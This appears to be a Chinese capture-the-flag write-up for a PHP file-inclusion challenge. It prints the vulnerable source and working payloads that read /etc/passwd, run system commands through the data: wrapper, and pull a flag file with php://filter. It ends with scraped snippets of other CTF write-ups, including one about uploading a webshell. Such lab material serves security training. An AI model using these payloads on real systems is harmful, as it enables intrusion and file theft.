攻防世界 Web Web php include

2021-10-08 21:40:38 字數 1697 閱讀 9652

開啟題目,**如下:

<?php 

show_source

(__file__);

echo

$_get

['hello'];

$page

=$_get

['page'];

while

(strstr

($page

,"php://"))

include

($page);

?>

構造payload簡單驗證一下是不是檔案包含:

?hello=***&page=/etc/passwd

結果如下:

可見屬於檔案包含型別的,但是他這裡過濾掉了php://。去查資料發現php裡面還有data:text/plain偽協議可以利用,詳細的檔案包含漏洞利用可以參考這裡:檔案包含漏洞學習總結

首先測試data:plain/text是否可用,使用如下payload:

?hello=&page=data:plain/text,<?php phpinfo();?>

測試結果入下,可見成功執行了,說明我們可以構造任意**執行。

接下來嘗試列出該目錄下的所有檔案,payload如下:

?hello=&page=data:plain/text,

輸出結果如圖:

下面嘗試讀取該檔案:

?hello=&page=data:plain/text,<?php system("cat fl4gisisish3r3.php");?>

發現沒有輸出,在這一步我卡了很久,也嘗試過使用file://來讀取結果還是不可以。

重新來看題,發現自己忽略了乙個地方,就是hello這個引數一直沒有用到,再看原始碼並未對hello做任何過濾,那麼用到他的機會來了。我只要把有php"//的payload放到hello裡提交,然後通過data:plain/text構造的**去包含它,這樣不就讀取出fl4gisisish3r3.php檔案了嗎

構造payload:

?hello=php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php&page=data:plain/text,<?php include($_get['hello']);?>

執行成功,返回:

攻防世界mfw 攻防世界 Web mfw

題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...

攻防世界Web lottery

開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...

攻防世界 xctf Guess writeup

本題的解析官網上有,這裡是乙個自動化的指令碼,完成的是自動上傳乙個ant.jpg的檔案 ant.jpg是乙個ant.zip壓縮包重新命名的檔案,裡面是乙個ant.php的一句話木馬 執行返回的是在web後台這個檔案重新命名後的檔案的url。可通過zip偽協議訪問這個木馬。指令碼如下 import r...